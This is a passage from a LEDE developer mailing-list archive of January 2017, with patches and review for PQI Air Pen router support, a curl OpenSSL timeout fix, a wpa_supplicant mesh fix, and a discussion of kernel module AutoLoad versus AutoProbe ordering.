> +#include "dev-gpio-buttons.h"
> +#include "dev-leds-gpio.h"
> +#include "dev-m25p80.h"
> +#include "dev-usb.h"
> +#include "dev-wmac.h"
> +#include "machtypes.h"
> +
> +#define PQI_AIR_PEN_GPIO_LED_WLAN		0
> +#define PQI_AIR_PEN_GPIO_LED_WPS		23
> +
> +#define PQI_AIR_PEN_GPIO_BTN_WPS		22
> +#define PQI_AIR_PEN_GPIO_BTN_RESET		12
> +
> +#define PQI_AIR_PEN_KEYS_POLL_INTERVAL   20	/* msecs */

spaces vs tabs error


> +#define PQI_AIR_PEN_KEYS_DEBOUNCE_INTERVAL	(3 * PQI_AIR_PEN_KEYS_POLL_INTERVAL)
> +
> +#define PQI_AIR_PEN_WMAC_CALDATA_OFFSET         0x1000

spaces vs tabs error


> +#define PQI_AIR_PEN_LAN_MAC_OFFSET		0x1002
> +#define PQI_AIR_PEN_WMAC_MAC_OFFSET		0x1002
> +
> +static struct gpio_led pqi_air_pen_leds_gpio[] __initdata = {
> +	{
> +		.name = "pqi-air-pen:blue:wlan",
> +		.gpio = PQI_AIR_PEN_GPIO_LED_WLAN,
> +		.active_low = 0,
> +	},
> +	{
> +		.name = "pqi-air-pen:blue:wps",
> +		.gpio = PQI_AIR_PEN_GPIO_LED_WPS,
> +		.active_low = 0,
> +	},
> +};
> +
> +static struct gpio_keys_button pqi_air_pen_gpio_keys[] __initdata = {
> +	{
> +		.desc = "wps",
> +		.type = EV_KEY,
> +		.code = KEY_WPS_BUTTON,
> +		.debounce_interval = PQI_AIR_PEN_KEYS_DEBOUNCE_INTERVAL,
> +		.gpio = PQI_AIR_PEN_GPIO_BTN_WPS,
> +		.active_low = 0,
> +	},
> +	{
> +		.desc = "reset",
> +		.type = EV_KEY,
> +		.code = KEY_RESTART,
> +		.debounce_interval = PQI_AIR_PEN_KEYS_DEBOUNCE_INTERVAL,
> +		.gpio = PQI_AIR_PEN_GPIO_BTN_RESET,
> +		.active_low = 0,
> +	},
> +};
> +
> +static void __init pqi_air_pen_setup(void)
> +{
> +	/* ART base address */
> +	u8 *art = (u8 *) KSEG1ADDR(0x9f050000);
> +
> +	/* register flash. */
> +	ath79_register_m25p80(NULL);
> +
> +	/* register wireless mac with cal data */
> +	ath79_register_wmac(art + PQI_AIR_PEN_WMAC_CALDATA_OFFSET, art + PQI_AIR_PEN_WMAC_MAC_OFFSET);
> +
> +	/* false PHY_SWAP and PHY_ADDR_SWAP bits */
> +	ath79_setup_ar933x_phy4_switch(false, false);
> +
> +	/* register gpio LEDs and keys */
> +	ath79_register_leds_gpio(-1, ARRAY_SIZE(pqi_air_pen_leds_gpio),
> +				 pqi_air_pen_leds_gpio);
> +	ath79_register_gpio_keys_polled(-1, PQI_AIR_PEN_KEYS_POLL_INTERVAL,
> +					ARRAY_SIZE(pqi_air_pen_gpio_keys),
> +					pqi_air_pen_gpio_keys);
> +
> +	/* enable usb */
> +	ath79_register_usb();
> +	
> +	/* register eth0 as LAN */
> +	ath79_init_mac(ath79_eth0_data.mac_addr, art + PQI_AIR_PEN_LAN_MAC_OFFSET, 0);
> +	ath79_register_mdio(0, 0x0);
> +	ath79_register_eth(0);
> +}
> +
> +MIPS_MACHINE(ATH79_MACH_PQI_AIR_PEN, "PQI-AIR-PEN", "PQI Air Pen",pqi_air_pen_setup);
> diff --git a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
> index 9402185..689a0a1 100644
> --- a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
> +++ b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
> @@ -50,6 +50,7 @@ enum ath79_mach_type {
>  	ATH79_MACH_CAP324,			/* PowerCloud CAP324 */
>  	ATH79_MACH_CAP4200AG,			/* Senao CAP4200AG */
>  	ATH79_MACH_CARAMBOLA2,			/* 8devices Carambola2 */
> +	ATH79_MACH_PQI_AIR_PEN,			/* PQI Air Pen */

alphabetical ordering error


>  	ATH79_MACH_CF_E316N_V2,			/* COMFAST CF-E316N v2 */
>  	ATH79_MACH_CF_E320N_V2,			/* COMFAST CF-E320N v2 */
>  	ATH79_MACH_CF_E380AC_V1,		/* COMFAST CF-E380AC v1 */
> diff --git a/target/linux/ar71xx/image/generic.mk b/target/linux/ar71xx/image/generic.mk
> index e2867e6..b0cbc57 100644
> --- a/target/linux/ar71xx/image/generic.mk
> +++ b/target/linux/ar71xx/image/generic.mk
> @@ -27,6 +27,16 @@ define Device/carambola2
>  endef
>  TARGET_DEVICES += carambola2
>  
> +define Device/pqi-air-pen
> +  DEVICE_TITLE := PQI Air Pen
> +  DEVICE_PACKAGES := kmod-usb-core kmod-usb2 kmod-usb-storage
> +  BOARDNAME = PQI-AIR-PEN
> +  IMAGE_SIZE = 7744k
> +  CONSOLE = ttyATH0,115200
> +  MTDPARTS = spi0.0:256k(u-boot)ro,64k(u-boot-env)ro,64k(art)ro,64k(NVRAM)ro,7680k(firmware),64k(CONF)
> +endef
> +TARGET_DEVICES += pqi-air-pen
> +

and a final alphabetical ordering issue

	John

>  define Device/cf-e316n-v2
>    DEVICE_TITLE := COMFAST CF-E316N v2
>    BOARDNAME = CF-E316N-V2
> 


From john at phrozen.org  Tue Jan 10 00:10:17 2017
From: john at phrozen.org (John Crispin)
Date: Tue, 10 Jan 2017 09:10:17 +0100
Subject: [LEDE-DEV] [PATCH v2] Curl: fix HTTPS network timeouts with
 OpenSSL
In-Reply-To: <20170108142940.17831-1-francesco.borromini@inventati.org>
References: <20170108142940.17831-1-francesco.borromini@inventati.org>
Message-ID: <c043acf3-00cb-87dd-47f6-0dba186302e3@phrozen.org>

Hi,

On 08/01/2017 15:29, Stijn Segers wrote:
> Fixes HTTPS timeouts with OpenSSL. Upstream curl bug #1174.
> 
> Upstream commit message:
> 
> Fixed an old leftover use of the USE_SSLEAY define which would make a
> socket get removed from the applications sockets to monitor when the
> multi_socket API was used, leading to timeouts.
> 
> Signed-off-by: Stijn Segers <francesco.borromini at inventati.org>
> ---
>  .../curl/patches/320-curl-https-openssl-fix.patch  | 22 ++++++++++++++++++++++
>  1 file changed, 22 insertions(+)
>  create mode 100644 package/network/utils/curl/patches/320-curl-https-openssl-fix.patch
> 


it looks like you only added the patch body. if this is an upstream
comit, then please add the fully annotated upstream patch.

	John

> diff --git a/package/network/utils/curl/patches/320-curl-https-openssl-fix.patch b/package/network/utils/curl/patches/320-curl-https-openssl-fix.patch
> new file mode 100644
> index 0000000000..9ecb2a95f8
> --- /dev/null
> +++ b/package/network/utils/curl/patches/320-curl-https-openssl-fix.patch
> @@ -0,0 +1,22 @@
> +diff --git a/lib/vtls/vtls.c b/lib/vtls/vtls.c
> +index b808e1c..707f24b 100644
> +--- a/lib/vtls/vtls.c
> ++++ b/lib/vtls/vtls.c
> +@@ -484,7 +484,7 @@ void Curl_ssl_close_all(struct Curl_easy *data)
> +   curlssl_close_all(data);
> + }
> + 
> +-#if defined(USE_SSLEAY) || defined(USE_GNUTLS) || defined(USE_SCHANNEL) || \
> ++#if defined(USE_OPENSSL) || defined(USE_GNUTLS) || defined(USE_SCHANNEL) || \
> +     defined(USE_DARWINSSL) || defined(USE_NSS)
> + /* This function is for OpenSSL, GnuTLS, darwinssl, and schannel only. */
> + int Curl_ssl_getsock(struct connectdata *conn, curl_socket_t *socks,
> +@@ -518,7 +518,7 @@ int Curl_ssl_getsock(struct connectdata *conn,
> +   (void)numsocks;
> +   return GETSOCK_BLANK;
> + }
> +-/* USE_SSLEAY || USE_GNUTLS || USE_SCHANNEL || USE_DARWINSSL || USE_NSS */
> ++/* USE_OPENSSL || USE_GNUTLS || USE_SCHANNEL || USE_DARWINSSL || USE_NSS */
> + #endif
> + 
> + void Curl_ssl_close(struct connectdata *conn, int sockindex)
> 


From baptiste at bitsofnetworks.org  Tue Jan 10 00:17:00 2017
From: baptiste at bitsofnetworks.org (Baptiste Jonglez)
Date: Tue, 10 Jan 2017 09:17:00 +0100
Subject: [LEDE-DEV] Difference between AutoLoad vs. AutoProbe for kernel
 modules?
In-Reply-To: <af7f6780-108e-8eae-e42b-eca1a63cae3b@phrozen.org>
References: <20170109132528.GA15149@tuxmachine.polynome.dn42>
 <d627f3f9-bded-3097-f3d2-eff4d033e813@createc.ro>
 <af7f6780-108e-8eae-e42b-eca1a63cae3b@phrozen.org>
Message-ID: <20170110081700.GA8748@tuxmachine.polynome.dn42>

On Tue, Jan 10, 2017 at 07:56:36AM +0100, John Crispin wrote:
> >> While investigating an issue with module loading order?, I discovered
> >> that
> >> some kernel packages use AutoProbe, like this:
> >>
> >>      AUTOLOAD:=$(call AutoProbe,xt_hashlimit)
> >>
> >> while some kernel packages use the AutoLoad helper I was used to, with a
> >> priority:
> >>
> >>      AUTOLOAD:=$(call AutoLoad,28,raid0)
> >>
> >> Judging from this commit? and `include/kernel.mk`, it seems the only
> >> difference is that AutoProbe does not include a priority.
> >>
> >> Is the loading order determined automatically for AutoProbe?  If so,
> >> where
> >> is the magic, and why is AutoLoad still needed in some cases?
> > 
> > I opened the issue, so using autoload the modules will get a priority
> > specified by the number, for wireguard above 90 would issue only one
> > warning and using autoprobe the module would be loaded by the order of
> > the name ? so setting the xt_hashlimit with a lower number (autoload)
> > will start wireguard without complaining
> > 
> 
> autoload is like insmod while autoproe is more liek modprobe. kmodloader
> will first load all numbered modules in the given order and then probe
> the remaining ones.

So, with AutoProbe, there is dependency resolution, similarly to modprobe?
But without using depmod?
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 833 bytes
Desc: not available
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170110/c4b7e5a3/attachment.sig>

From jo at mein.io  Tue Jan 10 00:19:02 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Tue, 10 Jan 2017 09:19:02 +0100
Subject: [LEDE-DEV] Difference between AutoLoad vs. AutoProbe for kernel
 modules?
In-Reply-To: <20170110081700.GA8748@tuxmachine.polynome.dn42>
References: <20170109132528.GA15149@tuxmachine.polynome.dn42>
 <d627f3f9-bded-3097-f3d2-eff4d033e813@createc.ro>
 <af7f6780-108e-8eae-e42b-eca1a63cae3b@phrozen.org>
 <20170110081700.GA8748@tuxmachine.polynome.dn42>
Message-ID: <3cfe9899-2e9d-fb79-c5b1-08027dc99b4c@mein.io>

Hi Baptiste,

> So, with AutoProbe, there is dependency resolution, similarly to modprobe?
> But without using depmod?

Exactly.

~ Jo

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 801 bytes
Desc: OpenPGP digital signature
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170110/40884e03/attachment.sig>

From john at phrozen.org  Tue Jan 10 00:20:32 2017
From: john at phrozen.org (John Crispin)
Date: Tue, 10 Jan 2017 09:20:32 +0100
Subject: [LEDE-DEV] Difference between AutoLoad vs. AutoProbe for kernel
 modules?
In-Reply-To: <20170110081700.GA8748@tuxmachine.polynome.dn42>
References: <20170109132528.GA15149@tuxmachine.polynome.dn42>
 <d627f3f9-bded-3097-f3d2-eff4d033e813@createc.ro>
 <af7f6780-108e-8eae-e42b-eca1a63cae3b@phrozen.org>
 <20170110081700.GA8748@tuxmachine.polynome.dn42>
Message-ID: <2c89fdc6-074d-6f22-1bc9-9c54d0caf742@phrozen.org>



On 10/01/2017 09:17, Baptiste Jonglez wrote:
> On Tue, Jan 10, 2017 at 07:56:36AM +0100, John Crispin wrote:
>>>> While investigating an issue with module loading order?, I discovered
>>>> that
>>>> some kernel packages use AutoProbe, like this:
>>>>
>>>>      AUTOLOAD:=$(call AutoProbe,xt_hashlimit)
>>>>
>>>> while some kernel packages use the AutoLoad helper I was used to, with a
>>>> priority:
>>>>
>>>>      AUTOLOAD:=$(call AutoLoad,28,raid0)
>>>>
>>>> Judging from this commit? and `include/kernel.mk`, it seems the only
>>>> difference is that AutoProbe does not include a priority.
>>>>
>>>> Is the loading order determined automatically for AutoProbe?  If so,
>>>> where
>>>> is the magic, and why is AutoLoad still needed in some cases?
>>>
>>> I opened the issue, so using autoload the modules will get a priority
>>> specified by the number, for wireguard above 90 would issue only one
>>> warning and using autoprobe the module would be loaded by the order of
>>> the name ? so setting the xt_hashlimit with a lower number (autoload)
>>> will start wireguard without complaining
>>>
>>
>> autoload is like insmod while autoproe is more liek modprobe. kmodloader
>> will first load all numbered modules in the given order and then probe
>> the remaining ones.
> 
> So, with AutoProbe, there is dependency resolution, similarly to modprobe?
> But without using depmod?
> 

correct. kmodloader will scan the ELF header and work out which other
modules are required to be loaded. depmod caches this dependency info
while kmodloader generates it when needed.

	John


From tochiro.srchack at gmail.com  Tue Jan 10 01:47:19 2017
From: tochiro.srchack at gmail.com (YuheiOKAWA)
Date: Tue, 10 Jan 2017 18:47:19 +0900
Subject: [LEDE-DEV] [PATCHv2] ar71xx: add support for PQI Air Pen
In-Reply-To: <4f168497-c9b2-6696-59ea-a83dc6cfe8f4@phrozen.org>
References: <4f168497-c9b2-6696-59ea-a83dc6cfe8f4@phrozen.org>
Message-ID: <1484041639-30613-1-git-send-email-tochiro.srchack@gmail.com>

SoC: AR9331
Ethernet x1, Wireless 2.4G, uSD card slot x1.
USB Power, include Li-Po Battery.

Signed-off-by: YuheiOKAWA <tochiro.srchack at gmail.com>

Changes in v2:
alphabetical ordering, tabs fron spaces.
---
 target/linux/ar71xx/base-files/etc/board.d/01_leds |  4 +
 .../linux/ar71xx/base-files/etc/board.d/02_network |  1 +
 target/linux/ar71xx/base-files/lib/ar71xx.sh       |  3 +
 .../ar71xx/base-files/lib/upgrade/platform.sh      |  1 +
 target/linux/ar71xx/config-4.4                     |  1 +
 .../ar71xx/files/arch/mips/ath79/Kconfig.openwrt   | 10 +++
 target/linux/ar71xx/files/arch/mips/ath79/Makefile |  1 +
 .../files/arch/mips/ath79/mach-pqi-air-pen.c       | 99 ++++++++++++++++++++++
 .../linux/ar71xx/files/arch/mips/ath79/machtypes.h |  1 +
 target/linux/ar71xx/image/generic.mk               | 11 +++
 10 files changed, 132 insertions(+)
 create mode 100644 target/linux/ar71xx/files/arch/mips/ath79/mach-pqi-air-pen.c

diff --git a/target/linux/ar71xx/base-files/etc/board.d/01_leds b/target/linux/ar71xx/base-files/etc/board.d/01_leds
index 5a2bf0c..14d9b3c 100755
--- a/target/linux/ar71xx/base-files/etc/board.d/01_leds
+++ b/target/linux/ar71xx/base-files/etc/board.d/01_leds
@@ -427,6 +427,10 @@ omy-x1)
 	ucidef_set_led_default "power" "POWER" "omy:green:power" "1"
 	ucidef_set_led_default "wan" "WAN" "omy:green:wan" "eth0"
 	;;
+pqi-air-pen)
+	ucidef_set_led_wlan "wlan" "WLAN" "pqi-air-pen:blue:wlan" "phy0tpt"
+	ucidef_set_led_default "wps" "WPS" "pqi-air-pen:blue:wps" "0"
+	;;
 qihoo-c301)
 	ucidef_set_led_wlan "wlan2g" "WLAN2G" "qihoo:red:status" "phy1tpt"
 	;;
diff --git a/target/linux/ar71xx/base-files/etc/board.d/02_network b/target/linux/ar71xx/base-files/etc/board.d/02_network
index 66274db..89ab6f5 100755
--- a/target/linux/ar71xx/base-files/etc/board.d/02_network
+++ b/target/linux/ar71xx/base-files/etc/board.d/02_network
@@ -83,6 +83,7 @@ ar71xx_setup_interfaces()
 	mr900|\
 	mr900v2|\
 	mynet-rext|\
+	pqi-air-pen|\
 	rb-411|\
 	rb-911g-2hpnd|\
 	rb-911g-5hpacd|\
diff --git a/target/linux/ar71xx/base-files/lib/ar71xx.sh b/target/linux/ar71xx/base-files/lib/ar71xx.sh
index 1b30f4d..33925eb 100755
--- a/target/linux/ar71xx/base-files/lib/ar71xx.sh
+++ b/target/linux/ar71xx/base-files/lib/ar71xx.sh
@@ -775,6 +775,9 @@ ar71xx_board_detect() {
 	*"PB44 reference board")
 		name="pb44"
 		;;
+	*"PQI Air Pen")
+		name="pqi-air-pen"
+		;;
 	*"Qihoo 360 C301")
 		name="qihoo-c301"
 		;;
diff --git a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
index 6341a31..c232ea9 100755
--- a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
+++ b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
@@ -222,6 +222,7 @@ platform_check_image() {
 	nanostation-m-xw|\
 	nanostation-m|\
 	nbg460n_550n_550nh|\
+	pqi-air-pen|\
 	rocket-m-ti|\
 	rocket-m-xw|\
 	rocket-m|\
diff --git a/target/linux/ar71xx/config-4.4 b/target/linux/ar71xx/config-4.4
index 4b2f736..129af79 100644
--- a/target/linux/ar71xx/config-4.4
+++ b/target/linux/ar71xx/config-4.4
@@ -136,6 +136,7 @@ CONFIG_ATH79_MACH_OMY_X1=y
 CONFIG_ATH79_MACH_ONION_OMEGA=y
 CONFIG_ATH79_MACH_PB42=y
 CONFIG_ATH79_MACH_PB44=y
+CONFIG_ATH79_MACH_PQI_AIR_PEN=y
 CONFIG_ATH79_MACH_QIHOO_C301=y
 CONFIG_ATH79_MACH_R6100=y
 # CONFIG_ATH79_MACH_RB2011 is not set
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
index 21d6b51..34042d0 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
@@ -243,6 +243,16 @@ config ATH79_MACH_ESR1750
 	select ATH79_DEV_USB
 	select ATH79_DEV_WMAC
 
+config ATH79_MACH_PQI_AIR_PEN
+	bool "PQI Air Pen"
+	select SOC_AR933X
+	select ATH79_DEV_ETH
+	select ATH79_DEV_GPIO_BUTTONS
+	select ATH79_DEV_LEDS_GPIO
+	select ATH79_DEV_M25P80
+	select ATH79_DEV_USB
+	select ATH79_DEV_WMAC
+
 config ATH79_MACH_SOM9331
 	bool "SOM9331 support"
 	select SOC_AR933X
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Makefile b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
index 6384c06..e0bac16 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Makefile
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
@@ -140,6 +140,7 @@ obj-$(CONFIG_ATH79_MACH_OMY_X1)			+= mach-omy-x1.o
 obj-$(CONFIG_ATH79_MACH_ONION_OMEGA)		+= mach-onion-omega.o
 obj-$(CONFIG_ATH79_MACH_PB42)			+= mach-pb42.o
 obj-$(CONFIG_ATH79_MACH_PB44)			+= mach-pb44.o
+obj-$(CONFIG_ATH79_MACH_PQI_AIR_PEN)		+= mach-pqi-air-pen.o
 obj-$(CONFIG_ATH79_MACH_QIHOO_C301)		+= mach-qihoo-c301.o
 obj-$(CONFIG_ATH79_MACH_R6100)			+= mach-r6100.o
 obj-$(CONFIG_ATH79_MACH_RB2011)			+= mach-rb2011.o
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-pqi-air-pen.c b/target/linux/ar71xx/files/arch/mips/ath79/mach-pqi-air-pen.c
new file mode 100644
index 0000000..56769bf
--- /dev/null
+++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-pqi-air-pen.c
@@ -0,0 +1,99 @@
+/*
+ *  PQI Air Pen stick support
+ *
+ *  Copyright (C) 2016 YuheiOKAWA <tochiro.srchack at gmail.com>
+ *
+ *  This program is free software; you can redistribute it and/or modify it
+ *  under the terms of the GNU General Public License version 2 as published
+ *  by the Free Software Foundation.
+*/
+
+#include <linux/gpio.h>
+
+#include <asm/mach-ath79/ath79.h>
+
+#include "common.h"
+#include "dev-eth.h"
+#include "dev-gpio-buttons.h"
+#include "dev-leds-gpio.h"
+#include "dev-m25p80.h"
+#include "dev-usb.h"
+#include "dev-wmac.h"
+#include "machtypes.h"
+
+#define PQI_AIR_PEN_GPIO_LED_WLAN		0
+#define PQI_AIR_PEN_GPIO_LED_WPS		23
+
+#define PQI_AIR_PEN_GPIO_BTN_WPS		22
+#define PQI_AIR_PEN_GPIO_BTN_RESET		12
+
+#define PQI_AIR_PEN_KEYS_POLL_INTERVAL		20 /* msecs */
+#define PQI_AIR_PEN_KEYS_DEBOUNCE_INTERVAL	(3 * PQI_AIR_PEN_KEYS_POLL_INTERVAL)
+
+#define PQI_AIR_PEN_WMAC_CALDATA_OFFSET		0x1000
+#define PQI_AIR_PEN_LAN_MAC_OFFSET		0x1002
+#define PQI_AIR_PEN_WMAC_MAC_OFFSET		0x1002
+
+static struct gpio_led pqi_air_pen_leds_gpio[] __initdata = {
+	{
+		.name = "pqi-air-pen:blue:wlan",
+		.gpio = PQI_AIR_PEN_GPIO_LED_WLAN,
+		.active_low = 0,
+	},
+	{
+		.name = "pqi-air-pen:blue:wps",
+		.gpio = PQI_AIR_PEN_GPIO_LED_WPS,
+		.active_low = 0,
+	},
+};
+
+static struct gpio_keys_button pqi_air_pen_gpio_keys[] __initdata = {
+	{
+		.desc = "wps",
+		.type = EV_KEY,
+		.code = KEY_WPS_BUTTON,
+		.debounce_interval = PQI_AIR_PEN_KEYS_DEBOUNCE_INTERVAL,
+		.gpio = PQI_AIR_PEN_GPIO_BTN_WPS,
+		.active_low = 0,
+	},
+	{
+		.desc = "reset",
+		.type = EV_KEY,
+		.code = KEY_RESTART,
+		.debounce_interval = PQI_AIR_PEN_KEYS_DEBOUNCE_INTERVAL,
+		.gpio = PQI_AIR_PEN_GPIO_BTN_RESET,
+		.active_low = 0,
+	},
+};
+
+static void __init pqi_air_pen_setup(void)
+{
+	/* ART base address */
+	u8 *art = (u8 *) KSEG1ADDR(0x9f050000);
+
+	/* register flash. */
+	ath79_register_m25p80(NULL);
+
+	/* register wireless mac with cal data */
+	ath79_register_wmac(art + PQI_AIR_PEN_WMAC_CALDATA_OFFSET, art + PQI_AIR_PEN_WMAC_MAC_OFFSET);
+
+	/* false PHY_SWAP and PHY_ADDR_SWAP bits */
+	ath79_setup_ar933x_phy4_switch(false, false);
+
+	/* register gpio LEDs and keys */
+	ath79_register_leds_gpio(-1, ARRAY_SIZE(pqi_air_pen_leds_gpio),
+				 pqi_air_pen_leds_gpio);
+	ath79_register_gpio_keys_polled(-1, PQI_AIR_PEN_KEYS_POLL_INTERVAL,
+					ARRAY_SIZE(pqi_air_pen_gpio_keys),
+					pqi_air_pen_gpio_keys);
+
+	/* enable usb */
+	ath79_register_usb();
+	
+	/* register eth0 as LAN */
+	ath79_init_mac(ath79_eth0_data.mac_addr, art + PQI_AIR_PEN_LAN_MAC_OFFSET, 0);
+	ath79_register_mdio(0, 0x0);
+	ath79_register_eth(0);
+}
+
+MIPS_MACHINE(ATH79_MACH_PQI_AIR_PEN, "PQI-AIR-PEN", "PQI Air Pen",pqi_air_pen_setup);
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
index 9402185..72266f2 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
+++ b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
@@ -141,6 +141,7 @@ enum ath79_mach_type {
 	ATH79_MACH_ONION_OMEGA,			/* ONION OMEGA */
 	ATH79_MACH_PB42,			/* Atheros PB42 */
 	ATH79_MACH_PB44,			/* Atheros PB44 reference board */
+	ATH79_MACH_PQI_AIR_PEN,			/* PQI Air Pen */
 	ATH79_MACH_QIHOO_C301,			/* Qihoo 360 C301 */
 	ATH79_MACH_R6100,			/* NETGEAR R6100 */
 	ATH79_MACH_RB_2011G,			/* Mikrotik RouterBOARD 2011UAS-2HnD */
diff --git a/target/linux/ar71xx/image/generic.mk b/target/linux/ar71xx/image/generic.mk
index e2867e6..9df6417 100644
--- a/target/linux/ar71xx/image/generic.mk
+++ b/target/linux/ar71xx/image/generic.mk
@@ -323,6 +323,17 @@ endef
 
 TARGET_DEVICES += cr5000-nocloud
 
+define Device/pqi-air-pen
+  DEVICE_TITLE := PQI Air Pen
+  DEVICE_PACKAGES := kmod-usb-core kmod-usb2 kmod-usb-storage
+  BOARDNAME = PQI-AIR-PEN
+  IMAGE_SIZE = 7744k
+  CONSOLE = ttyATH0,115200
+  MTDPARTS = spi0.0:256k(u-boot)ro,64k(u-boot-env)ro,64k(art)ro,64k(NVRAM)ro,7680k(firmware),64k(CONF)
+endef
+
+TARGET_DEVICES += pqi-air-pen
+
 define Device/antminer-s1
   $(Device/tplink-8mlzma)
   DEVICE_TITLE := Antminer-S1
-- 
1.9.1



From zefir.kurtisi at neratec.com  Tue Jan 10 01:53:16 2017
From: zefir.kurtisi at neratec.com (Zefir Kurtisi)
Date: Tue, 10 Jan 2017 10:53:16 +0100
Subject: [LEDE-DEV] Difference between AutoLoad vs. AutoProbe for kernel
 modules?
In-Reply-To: <2c89fdc6-074d-6f22-1bc9-9c54d0caf742@phrozen.org>
References: <20170109132528.GA15149@tuxmachine.polynome.dn42>
 <d627f3f9-bded-3097-f3d2-eff4d033e813@createc.ro>
 <af7f6780-108e-8eae-e42b-eca1a63cae3b@phrozen.org>
 <20170110081700.GA8748@tuxmachine.polynome.dn42>
 <2c89fdc6-074d-6f22-1bc9-9c54d0caf742@phrozen.org>
Message-ID: <2e21e8bf-49c6-3d6d-acab-fae4f0690262@neratec.com>

On 01/10/2017 09:20 AM, John Crispin wrote:
> 
>
> On 10/01/2017 09:17, Baptiste Jonglez wrote:
>> On Tue, Jan 10, 2017 at 07:56:36AM +0100, John Crispin wrote:
>>>>> While investigating an issue with module loading order?, I discovered
>>>>> that
>>>>> some kernel packages use AutoProbe, like this:
>>>>>
>>>>>      AUTOLOAD:=$(call AutoProbe,xt_hashlimit)
>>>>>
>>>>> while some kernel packages use the AutoLoad helper I was used to, with a
>>>>> priority:
>>>>>
>>>>>      AUTOLOAD:=$(call AutoLoad,28,raid0)
>>>>>
>>>>> Judging from this commit? and `include/kernel.mk`, it seems the only
>>>>> difference is that AutoProbe does not include a priority.
>>>>>
>>>>> Is the loading order determined automatically for AutoProbe?  If so,
>>>>> where
>>>>> is the magic, and why is AutoLoad still needed in some cases?
>>>>
>>>> I opened the issue, so using autoload the modules will get a priority
>>>> specified by the number, for wireguard above 90 would issue only one
>>>> warning and using autoprobe the module would be loaded by the order of
>>>> the name ? so setting the xt_hashlimit with a lower number (autoload)
>>>> will start wireguard without complaining
>>>>
>>>
>>> autoload is like insmod while autoproe is more liek modprobe. kmodloader
>>> will first load all numbered modules in the given order and then probe
>>> the remaining ones.
>>
>> So, with AutoProbe, there is dependency resolution, similarly to modprobe?
>> But without using depmod?
>>
> 
> correct. kmodloader will scan the ELF header and work out which other
> modules are required to be loaded. depmod caches this dependency info
> while kmodloader generates it when needed.
> 
> 	John
> 
Worth to note that only explicit dependencies are resolved, i.e. if one ko uses
another ko (like ath9k -> ath9k_common). It obviously does not (and can't) work if
one subsystem makes use of a component in another subsystem.

Let me share a recent experience for illustration and amusement. I had to debug a
system where a gianfar ETH driver connects to an at803x PHY driver. Approaching
the problem the usual printk based technique, I ended up in a situation where
printing a string of size n in gianfar made the system work, while reducing the
length of the printed string to (n-1) did not. Realizing that prink-ing random
chars might not be the correct fix for the issue, I was wondering wtf!?

Turned out problem was caused by the kernel module autoloader. While the PHY and
ETH driver were loaded and initialized in the background, the additional printk
caused enough delay to allow the PHY to finish registration before the ETH
attaches to it. If otherwise the ETH attaches to an enumerated PHY on the bus
whose driver did not yet finalize its registration, it gets attach to genphy.
Since everything works more or less, you won't notice unless you look for printk
output - which itself changes measures :\


Lesson learned: autoprobe is convenient, but if you need to ensure lower layer
drivers are loaded before upper layer ones, use autoload.

NOTE: Since module initialization / registration still happens in the background,
this might not prevent from the effect described above from happening (e.g. in
case you delay PHY registration long enough with printk), but at least it gives
you some control for spreading the loading of dependent modules.


Cheers,
Zefir


From m.sujith at gmail.com  Tue Jan 10 02:22:19 2017
From: m.sujith at gmail.com (Sujith)
Date: Tue, 10 Jan 2017 15:52:19 +0530
Subject: [LEDE-DEV] [PATCH] wpa_supplicant: Fix mesh encryption config
Message-ID: <20170110102219.5822-1-m.sujith@gmail.com>

wpa_supplicant allows only SAE as the key management
type for mesh mode. The recent key_mgmt rework unconditionally
added WPA-PSK - this breaks interface bringup and wpa_s
throws this error message:

Line 10: key_mgmt for mesh network should be open or SAE
Line 10: failed to parse network block.
Failed to read or parse configuration '/var/run/wpa_supplicant-wlan0.conf

Fix this by making sure that only SAE is used for mesh.

Signed-off-by: Sujith <m.sujith at gmail.com>
---
 package/network/services/hostapd/files/netifd.sh | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/package/network/services/hostapd/files/netifd.sh b/package/network/services/hostapd/files/netifd.sh
index a7a6a64e7a..fb23e52e67 100644
--- a/package/network/services/hostapd/files/netifd.sh
+++ b/package/network/services/hostapd/files/netifd.sh
@@ -617,7 +617,10 @@ wpa_supplicant_add_network() {
 		psk)
 			local passphrase
 
-			hostapd_append_wpa_key_mgmt
+			if [ "$_w_mode" != "mesh" ]; then
+				hostapd_append_wpa_key_mgmt
+			fi
+
 			key_mgmt="$wpa_key_mgmt"
 
 			if [ ${#key} -eq 64 ]; then
-- 
2.11.0



From john at phrozen.org  Tue Jan 10 02:27:25 2017
From: john at phrozen.org (John Crispin)
Date: Tue, 10 Jan 2017 11:27:25 +0100
Subject: [LEDE-DEV] Difference between AutoLoad vs. AutoProbe for kernel
 modules?
In-Reply-To: <2e21e8bf-49c6-3d6d-acab-fae4f0690262@neratec.com>
References: <20170109132528.GA15149@tuxmachine.polynome.dn42>
 <d627f3f9-bded-3097-f3d2-eff4d033e813@createc.ro>
